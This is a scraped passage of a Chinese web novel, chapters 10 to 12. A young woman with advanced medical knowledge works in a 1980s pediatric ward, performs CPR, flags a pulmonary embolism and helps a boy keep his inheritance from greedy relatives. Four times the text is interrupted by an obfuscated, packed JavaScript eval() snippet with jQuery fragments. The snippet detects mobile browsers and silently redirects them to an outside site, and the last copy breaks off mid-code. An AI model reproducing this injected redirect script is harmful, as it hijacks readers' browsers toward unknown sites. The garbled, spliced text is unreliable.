王慧慧听到这里就开始抹眼泪,“医生,我和您说实话,我们去查过了,胰岛素的价格……我们真负担不起。这要打一辈子,以后可怎么办呀?肚子不得扎成筛子?我想着我们就再去找中医看看,我在老家认识一个厉害的中医,说不准就能成。” 王慧慧说完便给老人递眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066566|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人脸色发青,皱着眉,勉强说道:“我们是想再看看,再……看看还有没有其他方法。” 呼吸急促。 她自己走到阮乔的椅子上坐下,舒口气,状态好转,“我闺女走了,就留下一个儿子,我能不为他考虑吗?但医院的费用,家里真的负担不起了。” 南栀靠近老人。 听到费用问题,阮乔也面露难色。 胰岛素的价格对于普通人家来说的确不低,而且卫天还有其他治疗费用,未来的饮食也要多注意,对普通家庭来说是很大的负担。 阮乔道:“我理解你们,但还是建议你们再留几天,都已经挺过来了,不差这两天。” 卫宇泪眼婆娑,“医生,我就不瞒你了,我妈今天也查出心脏病,医生说是心绞痛,给开了什么硝酸甘油,到现在疼痛都没减轻,心脏可是大事,我妈也要治病,我俩实在忙不过来了。小天是我外甥,如果可以,我真想替他受苦。” 他抬起头抹眼泪。 今天白天南栀和卫天接头,卫天就告诉她,出现在医院急诊的是他的舅舅和舅妈。 原主父母离异,母亲带他生活,他随母亲的姓氏。 母亲去世后,舅舅和舅妈抢着抚养他,但对他并不好,总是给他甩脸子。 原主住院,他们也不上心,其他家长都来陪床照顾,只有他们不露面,全都甩给护士和医生。 卫宇这是魔鬼的眼泪。 阮乔还在劝:“你们起码等我们盛医生来了再研究研究,阿姨的病也不能耽搁,我们医院在心脏病的治疗方面还是不错的,可以住院仔细检查,你们……” 老人听到这里急切地站起来,“我不住院,我不——” 她话未说完,忽然通孔睁大,笔直地向后倒去。 南栀早有准备,她闪到老人身后,拖着她的身体慢慢放下。 阮乔一惊,正要上前查看,南栀已经在熟练地检查老人的情况,她解开老人的外衣,依次检查呼吸、脉搏和心跳。 “无意识、无呼吸,要立刻送急诊。” 说完,南栀手掌根部找到推压部位,双臂垂直,开始按压。 阮乔的脑子根本没转过来,完全忘记南栀没有任何行医资格,脑中只有两个字:专业。 她跑到走廊叫人帮忙。 其余科室的值班医生、护士听到动静都跑过来。 段嘉离得最近,他冲进办公室,见南栀在给患者做心肺复苏大吃一惊,他粗鲁地扯开南栀,“人命关天,是闹着玩的吗?!” 段嘉回忆他学过的急救知识,又去确定患者的状态。 “没有呼吸了!” 南栀没有生气,她现在的确没有从医资格,段嘉也是对患者负责。 接着,段嘉接替南栀做心肺复苏。 一下、两下…… 南栀看了两眼,说:“每分钟要100到120次,深度约为5厘米,你的按压深度不够,频率也不够。” 八十年代的CPR的标准不如后世。 段嘉:“?” 南栀拧眉。 下一秒,段嘉感觉身体轻飘飘的,南栀和阮乔抬着他的腋下把他丢开。 南栀重新接替心肺复苏工作,她礼貌的对段嘉解释:“你不行。” 10.第 10 章 二楼所有住院医生、护士都赶到阮乔的办公室帮忙。 梁梦找人推来病床,阮乔指挥几名护士将老人搬到床上。 只有段嘉在一旁发懵,脑子里一直徘徊着三个字—— 你不行。 你不行。 你不行。 男人最怕听到的三个字—— 你不行。 你不行。 你不行。 老人已经被抬到病床上,阮乔接替南栀跨坐在床上,嘴里说着话,手上动作不停,“每分钟100到120次,深度五厘米,我记住了,这也是在武功秘籍里看到的?回头把秘籍给我。” 做心肺复苏耗费体力,南栀扶着墙喘气。 梁梦看了南栀两眼。 医院虽然带他们统一培训过急救知识,但她以往做心肺复苏时,怎么说呢……没这么累。 真是他们做的不到位? 梁梦心情微妙。 马医生该不会真给他们找来一个医学大拿吧?但如果真有水平,好好的人才,不留在她的内科,怎么放儿科来了? 真是怪了。 不过南栀说的也不见得就是对的。 梁梦准备帮忙一起把病人送到急诊。 南栀呼吸平静后,跟着病床快速说道:“阮乔,你到急诊记得告诉医生,他们对患者患有心绞痛的判断可能是错误的,患者胸痛,但使用硝酸甘油疗效不好,而且呼吸急促。” 南栀看向卫宇和王慧慧,“患者有久坐吗?” “久坐?什么是久坐?”卫宇和王慧慧从刚才懵到现在,两眼澄澈,“我妈她不是心脏病吗?” 南栀说:“字面意思,长时间地坐着,这很重要,患者有吗?” “这……”卫宇刚想说话,王慧慧便拽了他一下,他看向王慧慧,后者朝他挤眼睛。 卫宇说:“没,没有。” 南栀转头叮嘱阮乔,“有久坐,一定要提醒医生,可能是肺栓塞,肺栓塞曾有误诊为心脏病的病例。” 卫宇:“……” 所有人集体茫然,连手里的活儿都忘了干。 梁梦道:“小南,你现在说这话,你让我们有点儿,怎么说呢……” 南栀说:“急诊的医生肯定比我懂,只要提醒一下就好,快去吧。” 医生、护士们飞快倒腾着双腿,向急诊飞去。 他们一边飞奔一边喊和旁边的人喊话,“刚刚说的是什么病例,他们是不是欺负我不是心血管科的?!” 病床上的阮乔满头大汗,嘴里默念:“五厘米、五厘米、五厘米……靠,你们刚刚到底在说什么?!” 光念着速度和深度,她都没敢听!! * 两个小时后,急诊的值班医生和助手终于得空休息,泡好的茶已经冷了。 医生骂道:“就是你,唠叨今晚没人,工作这么久了,什么该说什么不该说你都不知道?!” 助手笑嘻嘻地挨骂,“咱运气不是挺好的,人就在医院,救过来了。年纪这么大都救过来了,您是妙手神医!” “神医?我神医?我……对了,肺栓塞是谁提的?” “好像是儿科那边?” “盛昭云?” “盛医生在门诊,今天是住院医生送过来的,应该是阮乔。” 医生念叨着,“阮乔我认识,不太上进,就喜欢摆弄花花草草,嚷嚷着要回家种地,才二十几啊,就开始抱保温杯了。” 助手默默收起自己的保温杯。 医生说:“真没想到,她现在还有这本事了,肺栓塞误诊为心脏病,嘿,开窍了。小周啊,你去儿科跑一趟,人家送过来的病人,多亏了他们提醒没耽误治疗,去把结果和人家说一声。” * 住院医师办公室,阮乔和几个负责儿科病房的护士都蹲在地上,面前放着一个假人。 南栀说:“按压的部位与你们学习的没有太大差别,但是要注意频率和深度,按压不到位的心肺复苏效果大打折扣,很多病人心肺复苏后甚至会把肋骨压断,可见需要的力度有多大。心肺复苏做起来非常累,所以需要几个人轮换着做。” 几人认真学习。 阮乔愁眉苦脸道:“你说的字面意思我都懂,但频率有什么说法吗?” “按压频率过低会导致血流不足,频率过快会影响按压深度,一百到一百二之间是最合适的。” 阮乔问:“是秘籍上写的吗?” 南栀已经看出阮乔不信,便又改口说道:“是我家里的医生,他挺有本事的,教会我很多。医术、为人处世等等,很厉害的。” 阮乔惊讶,“他还教你为人处世?” “对呀,他让我说话注意一些,要有情商。多亏他提醒,不然我会得罪很多人呢。” 阮乔:“……” 这已经是教过的结果了吗? 刚才回办公室,她都看见墙上多了两道爪子划痕,肯定是段嘉挠的! 南栀嘱咐几人几句,主动申请去病房转一圈,刚刚她听到病房有动静。 她离开办公室时,急诊的助手刚好跑过去,接着便听到办公室内传来欢呼声。 南栀跟着笑起来。 她学医的目的不纯,但能听到这样的笑声,就证明她选择这条路是对的。 南栀走进病房。 方才出事,有两个家长醒了,回来之后又很快睡着,呼噜震天响。 小魔鬼们倒是睡得很熟的样子。 南栀看了一会儿,说:“听说小朋友们睡觉时会抬起胳膊。” 下一秒,四只小胳膊抬起来了。 卫天:“……” 笨蛋。 * 南栀目前住在黄夏兰家里。 黄夏兰是电子厂厂长,家里条件不错,厂里分了楼房。分到的面积不小,还能给南栀腾出一个小房间,只是离医院很远。 南栀在医院的时间更多,对黄家还很陌生。 黄夏兰的丈夫长期出差,家里只有黄夏兰和孟闵。 黄夏兰给南栀准备了一辆新的自行车。 南栀刚走到楼下,就看见孟闵围着自行车转圈,“我说我要一辆新的,你就跟我说什么工业券不够用,怎么她一来就有?我还是你亲儿子吗?!” 孟闵又喜提一拳头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15074190|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 南栀走过去。 黄夏兰道:“上一晚上班累坏了吧,赶紧去吃饭,然后好好睡一觉。自行车是买给你的,你上班更方便,等你有空了,可以去学学开车,我给你搞一辆旧车开,或者在你工作的医院附近搞个房子,都行。” 孟闵炸毛,“妈!!我还没有车!” “你要什么车?你连稳定的工作都没有,你还敢要车?我把你打成车!” “不是,我没工作,她也没好工作啊,只是在医院帮忙,又不是医生不是护士,比我高贵啊?” 黄夏兰又是一拳暴揍,“你再多一句废话,以后一分钱都别找我要!” 孟闵背着黄夏兰朝南栀挥拳。 乡下小土妞,把他妈都抢走了! 过分!过分!! 南栀好奇地看着他。 孟闵低声道:“敢和我妈告状,你就死定了。” 黄夏兰看向二人。 南栀说:“告状不会导致死亡,你是不是有误会?” 孟闵:“?” 黄夏兰挑眉,朝孟闵走去。 孟闵:“……你怎么还说,你,你!妈,我错错错了,我错了!” 南栀恍然大悟,“哦!原来是会导致死亡的!” 不过不是她。 对于黄夏兰做得这些,南栀很感激,但要她一直花黄夏兰的钱,她也不安心。 等黄夏兰打得差不多了,南栀才过去,“二姨,市里有公交车,我坐公交挺方便的,不用给我买这么多东西。等我以后赚钱了,慢慢买就好,也不用打弟弟的,弟弟说得没错。” 孟闵:“你,你……” 外面小白兔,其实是大灰狼!! 南栀吃过饭,骑上黄夏兰新买的自行车,说是去要去工作。 黄夏兰感慨,“同样都是孩子,有人努力,有人像一摊烂泥,差别真大。” 她看向孟闵,“烂泥,我是被我姐养大的,现在你能活着,都该感谢你大姨,明白吗?” 孟闵:“……” 喜提新名字。 * 南栀没有去医院,离开医院前她找卫天要了家里的地址,卫宇和王慧慧明摆着不是真心想救人,她得去看看情况。 虽然卫天否认,但她仍然怀疑哥哥的失踪与他有关,不过没有证据就没法定罪,他现在是病人,就得尽心力。 在卫宇的描述中,他们一大家子生活借据,只有卫宇是厂子的职工,王慧慧没有工作,开销全靠卫宇的工资。 卫天生病后,他们花了很多钱,家里已经没有多余的钱来治病。 他们的意思是,等卫天出院,很有可能连买胰岛素的钱也没有。 卫宇说,他们现在住的房子是厂里分的,是平房。 南栀找到卫宇家,现在卫宇和王慧慧都在医院,家里没人,但今天天气好,附近有不少老人在遛弯,身边都是小京巴狗。 南栀拦下一个阿姨,在心里默念—— 要有情商! 要侧面询问,不要直来直去! 要…… 南栀问:“阿姨,您认识卫宇吗,他家……穷吗?” 11.第 11 章 医院每天七点半早查房,儿科“人丁稀薄”,基本全靠盛昭云撑。 盛昭云,工作仅四年,儿科支柱。 阮乔跟着盛昭云转了一圈,寿命减少十年。 她扶墙回到办公室,韦宁雨才赶来送温暖,“又被盛大医生折磨了?” 阮乔心有余悸,“真是怪了,其实盛医生也没说我什么,但每次她只要往我跟前一站,我这个心啊,砰砰地跳。” 韦宁雨笑嘻嘻道:“能不跳吗?不跳就死了。” 阮乔:“滚。” “我只期待我们小栀和盛大医生见面的一天,”韦宁雨说,“我可是打了赌的,结果今天一来,你就拉着我学什么心肺复苏,小栀难道真是华佗传人?等她和盛大医生见面,肯定会被吓跑。” 阮乔道:“你别说,她俩见面……凭我们小栀的超高情商,她俩能把医院掀翻。” 韦宁雨想到这场面,龇着大牙笑出声。 病房忽然传来动静。 阮乔疯狂抓头发,“五个魔头!还不出院!” 病房内,卫宇催卫天和大家告别,王慧慧在收拾东西。 “我们小天的烧伤好得差不多了,多亏那位陆医生,就不在医院耽搁了,他也住不惯医院,太吵了。” 卢思萌的妈妈和井珧的爸爸都在,两人唏嘘道:“孩子舒服是最重要的,就是这么小的孩子,就得糖尿病了,唉。” “没办法,谁让咱们运气不好呢,”卫宇大义凛然道,“但不管小天得了什么病,我们做舅舅、舅妈的,一定要把他管到底!我姐一辈子不容易,不能让她走也不安心。” 卢思萌的妈妈抬手抹眼泪,“唉,孩子真可怜,还这么小,就得打一辈子胰岛素。” 卫宇和王慧慧目光闪烁,卫宇扯笑,推了推卫天,“小天,和大家说再见。” 井珧几人站成一排,眼巴巴地看着卫天,泪眼婆娑。 卫天忽然甩开卫宇的手,“你们打算给我打胰岛素?” 卫宇强硬地按住卫天,攥住他手腕,又推搡了一把,然后才笑着说:“当然要打,你得控制病情,你放心,舅舅都给你安排好了。” 其他家长也劝道:“小天啊,你是乖孩子,你姥姥现在还在住院,舅舅和舅妈忙不过来,你就先回家待着。” 卫天冷笑,“昨天还和医生说不准备继续治疗,买不起胰岛素,今天就改主意了?” “你这孩子,”王慧慧尴尬道,“那就是说说,我们还能真看着你的病情继续发展?你放心,该买的都买,和舅妈走吧。” “在家里你们对我并不好,平时我多吃两块肉,多吃两碗米饭,你们都要……” 卫宇捂住卫天的嘴,把他抱起来。 卫天挥舞着手脚奋力挣扎,额头的青筋都明显了,小胳膊小腿是一点儿伤害性都没有。 阮乔和韦宁雨赶过来帮忙。 南栀赶到时,正巧看到卫天的拳头打到卫宇的腿上,卫宇都没感觉到。 可怜。 南栀念书时,两耳不闻窗外事,她年纪小,舍友、同学都很照顾她,她全部时间都留给论文、病例和看手术视频,上学几年,只认识几个舍友和老师、教授,同学们倒是都认得她。 舍友们经常聊天,她听过几次,简渊的名字出现的频率极高。 听说是教授们喜欢的外科天才,念研究生时就经常跟随主任医师做手术,他学手术的速度很快,甚至主刀过大手术,比同龄人的学习速度都快。 最能让他被同学们讨论的点是,他的脸长得好、身材也好,穿白大褂的视频流传到网络上,还小火了一把,听说还有人找他去拍戏。 南栀关注他,只为一件事,找哥哥。 她跟踪过简渊很多天,他的生活除了医院就是学校,脾气不好,总是挂脸,很难相处。 倒是没有异常。 脾气不好的人变成手无缚鸡之力的小孩儿…… 现在的感觉应该很棒。 南栀推门走进去。 看到南栀的一刻,阮乔有种救世主来临的感觉,“你可算来了,我就盼着你……呃,不对,我才是医生啊?!” 韦宁雨说:“你赶紧劝劝卫天的家属,他的情况还是该留院观察,毕竟刚犯过病,又经历火灾。” 卢思萌的妈妈说道:“唉,家家有本难念的经,现在家里长辈又生了大病,辛苦小天的舅舅和舅妈了。” “住不起医院也没办法,在家也能护理。不能全指着小天的舅舅、舅妈,人家做到这个地步已经不错了,对得起小天的妈妈。” 南栀侧身,让身后的人进来,她自己走到卫天面前,朝卫宇伸出手。 卫天警惕地看着她。 对他来说,南栀同样是敌人,她一直怀疑虞清泉的失踪与他有关。 更何况昨天的耻辱还历历在目,南栀抱着他晃悠一圈,他居然都没逃得掉! 卫宇看到那几人,有点儿心虚,下意识把卫天交给南栀。 卫天又在挣扎,不过无人理会。 卫天:“!!” 南栀抱着卫天退到窗户旁。 卫天低声道:“你放我下来。” 南栀捂住他的嘴,不想听。 卫天:“!!” 南栀带来的是卫天的小姨。 “小天病了,你们瞒着我,妈病了,你们还瞒着我,你们想干什么?就为了那几个钱,亲人都不要了?!” 卫宇说:“你看你说的,我们能……” “别狡辩!你们不就是为了姐的财产才把我挤兑走?还说什么付不起胰岛素的费用,说家里穷,呸!你们现在住的是姐的房子!姐留下来那么多首饰,哪一个不值钱?那些都是小天的爸爸妈妈留给他的,有我在,你们一分钱都别想拿!” 病房内的家属、医生、护士集体震惊。 卫天家居然不穷?! 阮乔悄悄走到南栀身边,“这是什么情况?” 南栀想到被她拉住的阿姨——“哎呦妹妹,哪有你这么说话的,你谁啊,上来就说穷不穷?我可不会乱说话,我……这卫家啊,和穷可没一点儿关系,这家命可好了,大女儿嫁了个好人家,夫妻俩赚了很多钱,儿子还跟女方姓,你说说这奇不奇怪,换成谁能答应?不过这夫妻俩很惨,明明很恩爱,却都因为意外去世了。” 卫天的舅舅和舅妈抢着照顾卫天,就是为了姐姐留下来的遗产。 姥姥向着儿子,小姨说不上话,还被姥姥赶了出去,小姨离开后,卫天的日子就不好过了。 大家的眼神都有变化,卫宇有些受不住,“误会,都是误会,我只是怕姐姐不放心才照顾小天,你看你们……” “是不放心吗?”小姨冷笑道,“你们不给他吃,不给他穿,宁可守着姐姐的遗产,也不愿意给小天治病,你们不怕遭天谴?” “你……我什么都不知道!”卫宇撕破脸,也不装了,“姐有留钱?没有,一分都没有!” 南栀在合适的时机平静地插话,“我已经联系律师,遗产的问题,会交给律师来办。” “律律律师??” 卫宇不了解律师,这话很能唬人。 卫天抬眼看向南栀。 南栀说:“卫天妈妈的遗产会交由小姨代管,等卫天成年后,再交给他,我们已经谈妥。昨天你的母亲肺栓塞导致心衰晕倒,我问你她是否久坐,你隐瞒实情,有阻碍救援的嫌疑,卫天不能跟你们走,钱你也拿不到。” 南栀的声音虽然平静又温和,可表达出来的气势一点儿都不弱,加上病房其他人的目光越来越怪,卫宇和王慧慧只想找地缝逃走。 为了遗产,他硬着头皮说道:“这是我们卫家的事,和你没关系,找律师?你懂法律吗?你谁啊?” 南栀想了想,说:“85年颁布了《继承法》,如果你有需要,我可以现在研究,再和你讨论,你放心,我很快就能看完的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080549|162447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫宇:“……” 什么法? 继承什么?? 小姨做主,卫天留下继续治病,阮乔叫人来把卫宇两口子轰走。 阮乔松口气,“总算能好好治病了,治……” 她看向四周,“那四个魔头去哪了?!” 家长们一惊,糟了,吃瓜吃得太认真,都没发现孩子跑了! 儿科再次全体出动,跑出去找四个魔头。 南栀有点儿心累。 她不想留在儿科果然是对的。 卫天跟着她一起去找人。 住院部后面是没人用的空地,放了几根水泥管道,小朋友喜欢在这里捉迷藏。 趁着附近没人,卫天冷声问道:“为什么帮我?” 南栀扶着管道弯腰往里看,“帮什么?” “是你去找的小姨。” 卫天没有原主的记忆,不知道卫家是什么情况,如果不是南栀找来小姨,他都不知道他有数额不小的遗产可继承。 如果南栀没去卫家,他今天肯定会被领走。 南栀认真地想了一会儿,恍然大悟,“对哦,这是在帮你哦。” 卫天:“……” 研一那年,同学中盛传医学院进了一个神童。 神童。 神。 南栀说:“就算你害了我哥哥,我也不能用私刑,这是两码事。而且你现在用的是人家的身体,万一卫天小朋友会回来呢?他的身体最重要。” 卫天:“……” 他沉默片刻,说:“你哥哥失踪,和我无关。” 南栀乖巧点头,“恩,我不信。” 卫天:“……” 神童。 南栀几人在医院找了一个多小时,韦宁雨才打开病房的窗户喊他们回去,说是魔王们回去了。 南栀又带着卫天往病房赶。 “阮医生说,他们几个都听你的话,你让他们做什么去了?” 卫天:“我会和小孩儿一起玩儿?” 南栀说:“看着很像呀。” 卫天:“……” 他板起小脸,不想和南栀说话。 四大魔头已经回到病房。 卫天挂着冷冰冰的脸,故意没理他们,往自己的病床走,偏偏他们四个都凑了过来。 阮乔气喘吁吁地训道:“你们几个怎么又乱跑?井珧,你才刚退烧,你看看你一年要发烧多少次,还不注意身体?萌萌,你是乖孩子,怎么也跟着胡闹,你有哮喘,还记得吗?” 井珧笑嘻嘻地坐到卫天床上,“小天治病的钱不够,我们得帮他。” 南栀一怔,“你们……去拿钱了?” 卢思萌用力点头,“南瓜姐姐,我们回家去拿值钱的东西啦,这样小天就可以多打几天啥素了。” 南栀看向阮乔,“谁是南瓜姐姐?” 阮乔:“咳,就是……南栀,傻瓜。” 卫天弯唇,“挺符合。” 南栀认真纠正道:“姐姐很聪明哦,不是傻瓜,姐姐还没遇到过比我还聪明的人。” 如果是两天前,阮乔和韦宁雨会认为南栀厚颜无耻。 现在他们只会猜测,南栀可能是在认真解释事实。 如果真是事实,这也太恐怖了吧? 小孩子们显然对南栀的解释不感兴趣,南瓜姐姐的昵称已经深入人心。 他们一拥而上奔向卫天,纷纷掏出自己的宝贝,“小天,我们的宝贝都给你,你一定要早日康复哦!” 井珧说:“不能不治病!” 卫天看着四张乖巧的笑脸,心底涌起陌生的感觉。 他看了一会儿,说:“谢谢。” 虽然仍然是冷脸,但却是真诚的道谢。 他们四个人心地善良,如果送的东西不是奇形怪状的石头、金色折纸、洋娃娃和溜溜球,那就更好了。 井珧:“一定要拿去换钱哦!” 12.第 12 章 卫家的事闹得挺大,幸好南栀提前联系律师。 她有找律师的意识,卫宇和王慧慧没有,就连继承法对他们来说都是陌生的,这是时代限制。 卫宇和王慧慧见讨不到好处,溜之大吉,连亲妈都不管了。 小姨虽然被亲妈寒了心,但又念着毕竟有养育之恩,只能去照顾,两边跑。 南栀和卫天躲在走廊尽头说话。 卫天说:“姥姥出院后,小姨不打算再回家照顾,舅舅一家人占着房子不愿意走,又是麻烦账。” 南栀道:“你确实没有卫天的记忆,没有骗我?” 她都有南栀的记忆,他为何没有卫天的记忆? 火灾时卫天虽然撞到头,但只是擦伤,脑组织未受损,不该失忆。 卫天拧眉,“大脑的事,谁也说不清楚,大概是运气不好。” 不远处,井珧和卢思萌偷偷看着卫天和南栀。 “小天还说不喜欢南瓜姐姐,他根本就是很喜欢嘛。” “南瓜姐姐本来就招人喜欢。” “但卫天总说自己不是孩子了,”井珧强调道,“你看他,和南瓜姐姐说话还总是偷看她,太孩子气了!丢我们的脸!” 南栀和卫天谈完,短暂地结成同盟,井珧和卢思萌绕路截住卫天。 “小天!” 卫天上下打量井珧,“你怎么还没出院?” 井珧身体胖胖,是他们几个体质最好的,凭借接连不断的感冒发烧才成为住院部常客。 井珧小脸严肃,“我,作为老大,怎么放心的下你们?有几句话,我必须要交代。” 卫天:“?” 卢思萌开始抹眼泪。 井珧说:“戈玲脾气不好,你们不要惹她,萌萌和她交流就够了,她不凶萌萌。农朔话太少了,一点儿都不像小孩子,你们得和他一起玩啊。我发现医院的哥哥姐姐们都不太喜欢农朔,平时都避着他走……还有还有,你啊,也别总逞强,不要和大人硬碰硬。” 卫天都不敢想象这是五岁小孩子说出的话。 他们的小脑瓜里到底在想什么? 井珧继续说:“你就像刚才那样,把和南瓜姐姐撒娇的本事拿出来,大家都开心嘛。” 卫天:“?” “等等,我?撒娇?和谁?” 井珧说:“就拿出你撒娇的本事!” 卢思萌擦干净眼泪,认真点头,“不要光和南瓜姐姐撒娇,阮乔姐姐也吃这套的。” 卫天:“……” 奇耻大辱。 他一字一句地强调,“我没有撒娇。” 井珧&卢思萌:“你有。” “没有。” “有!” 卫天:“……” 一个人得声音终究盖不住两个尖锐的童声,卫天选择换一个话题,“你们刚刚说医生不喜欢农朔?为什么?” 井珧:“这……” * 住院医师办公室,阮乔拿着螺丝刀修好摇晃的老木桌,然后抱着南栀不撒手,“还好有你帮忙,我真是快疯了,在儿科继续待下去,我真的会疯!不,只要是在医院,我就会疯!!” 南栀说:“我也打算去其他科室,不过暂时还没有学历和资格证。” 马明艳昨天来过电话,给她送了几本书,但对南栀表达想去外科的愿望不太上心。 对于马明艳来说,她帮南栀,纯粹是想给她提供个可以工作的地方,马明艳没想过南栀真能做医生。 医生不比其他职业,要对生命负责,不能轻易上手。 “我相信你,肯定能行!”阮乔百分之百相信南栀,“你说的肯定是对的!就算是错的,也能说明你编瞎话的本事强!” 韦宁雨数着钱走进来。 他手里拿的都是几毛几分的小钱。 见南栀好奇地打量,阮乔解释道:“宁雨做点儿小生意。” “生意?在医院?” “卖东西呗,下雨就卖雨伞,天气好卖冰棍,他的宿舍就像小卖部,啥都有。你要是有啥需要的,直接在他那里买,让他按照进货价算!” 南栀更好奇了,“为什么要卖东西,很缺钱吗?” 韦宁雨振振有词,“我都已经痛失做医生的机会,还不努力赚钱?商机多重要?你们看看咱临川市有多少人下海了,今时不同往日,同志们,还不赶紧去捞钱?” 阮乔再次解释:“他以前念书就投机倒把,习惯了。” 韦宁雨:“阮乔!” 南栀已经习惯二人总是打打闹闹,她心里惦记的是另外一件事。 “乔乔,我听卫天说,你们好像都不喜欢农朔?” “先天性心脏病的农朔?”阮乔叮嘱,“你别往他跟前凑,尽量别和他说话。” “为什么?” 阮乔道:“我也是一知半解,都是前辈们告诉我的,反正提醒我了,我就照做呗。” 韦宁雨道:“我也被嘱咐了,让我好好照顾他,但没事别去找他,他有任何情况,都要报告护士长。” 好像整个医院的人都在躲着农朔。 阮乔说:“其实农朔的情况挺不好的,他是室间隔缺损,还不小,无法自动愈合。他经常呼吸道感染,就是因为心脏不好。” “超过5mm,就需要做手术解决了。” “家长坚决不同意做手术。”阮乔摊手,“盛大医生和他父母谈过很多次,家长说什么都不做。” “利害关系都说清了?” “我也不知道他们怎么沟通的,要不……你和盛大医生谈谈?” 阮乔看向韦宁雨。 韦宁雨期待地挑起眉。 打起来了,终于能打起来了!有热闹能看了! 晚上五点,盛昭云的门诊才结束。 康宁医院是综合性医院,不是专门的儿科医院,盛昭云加班的情况比较少。 阮乔给她的门诊打去电话,小心翼翼表明来意。 电话很快传来忙音。 韦宁雨的大眼睛像扑棱蛾子般闪烁,“如何?” “……没听清,好像说‘恩’?” “啧啧,盛大医生和南大情商家的会面,真令人期待。” 十分钟后,门外传来沉重的走路声,敲门声响起。 前一秒还放松的阮乔和韦宁雨立刻起身站直,阮乔甚至整理了白大褂,才往门口走去。 南栀好意提醒,“乔乔,同手同脚了。” 阮乔:“?,该迈哪只脚了?左脚?左手?右脚??” 南栀笑笑,先一步去开门。 门口站着穿了一套运动装的女人。 盛昭云只比阮乔大两岁,打扮普通,但五官明艳,冷眸淡淡地扫视整个办公室,阮乔和韦宁雨都垂着头,夹着尾巴做人。 气势强大到不敢和她对视。 南栀伸出手,自我介绍道:“盛医生你好,我是在住院部帮忙的南栀。” 阮乔和韦宁雨同时睁大眼睛,不可置信地拉扯着彼此的衣服。 南栀怎么敢和盛昭云握手! 怎么敢和盛昭云说话! 盛昭云的个头比南栀高,她轻瞥南栀一眼。 阮乔:糟了糟了,要挨骂了! 韦宁雨:毁了毁了,早知道把家里的胶卷相机带来了,错过了! 在阮乔和韦宁雨的注视下,盛昭云缓缓抬起手。 两人轻轻握手,南栀侧身把盛昭云请进来。 阮乔:?,没挨骂哦? 韦宁雨:幸好没带。 “你们想知道农朔的情况?”盛昭云拉开阮乔的椅子坐下,跷起二郎腿,“阮乔,你先说。” 阮乔:“……” 在医学院学习的压迫感又来了。 阮乔努力回忆课本知识,“咳,患者室间隔缺损,是先天性心脏病最常见的类型,患者是中型缺损。X线家,心影轻度增大,左、右心室……” “别背了,”盛昭云面无表情地打断她,“我是问你,手术该怎么做。” 阮乔为难道:“盛医生,咱不是儿外科,动不了手术,就算动手术,咱们医院能做室间隔缺损的只有心外科。” 盛昭云看向韦宁雨。 韦宁雨默默地挡住自己的脸。 盛昭云又看向南栀。 想到南栀说她是来帮忙的,盛昭云正打算略过她对阮乔说话,就听南栀说道:“室间隔缺损术前准备,控制呼吸道感染、心功能不全者给予强心、利尿、血管扩张药及GIK溶液,还有一系列常规检查。” 阮乔的眼睛越来越大。 在悬崖下捡到的医书又发挥作用了?! 韦宁雨仔细回忆上学时学过的内容……好吧,一点儿都想不起来。 两个学渣朝南栀露出惊叹的目光。 唯独盛昭云神色如常,“依你看,农朔的情况,具体的手术步骤怎么安排。” 南栀道:“我看了农朔的心电图和X光报告,农朔除呼吸道感染外,没有其他并发症,可实施室间隔缺损修补术,采用平卧位正中切口,常规建立体外循环,心脏停搏后……” 盛昭云点头,示意南栀可以停下。 她扭头对阮乔说:“她懂,以后有不懂的地方问她,不用叫我过来。” 阮乔:“……” 都忘了点头附和盛大医生。 盛昭云起身要走。 南栀道:“盛医生,我们是想问问农朔的家属为什么不同意手术,据我所知,室间隔缺损手术已经成熟。而且听说医生们对农朔的态度都不太好。” 阮乔和韦宁雨同时捂脸。 南栀怎么敢直接说出来了!! 盛大医生肯定要怪他们多嘴,肯定…… 盛昭云语调未变,“第一个问题,农朔的家属认为手术会害死农朔,坚决拒绝手术,只同意治疗呼吸道感染,因此虽然农朔有先天性心脏病,但目前为止医院都没有给出具体的手术方案。你有其他问题,可以问问心外科的同事。第二个问题,我不清楚,与我无关。还有其他问题吗?” 南栀摇头。 盛昭云再次起身,南栀乖巧道谢。 盛昭云点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 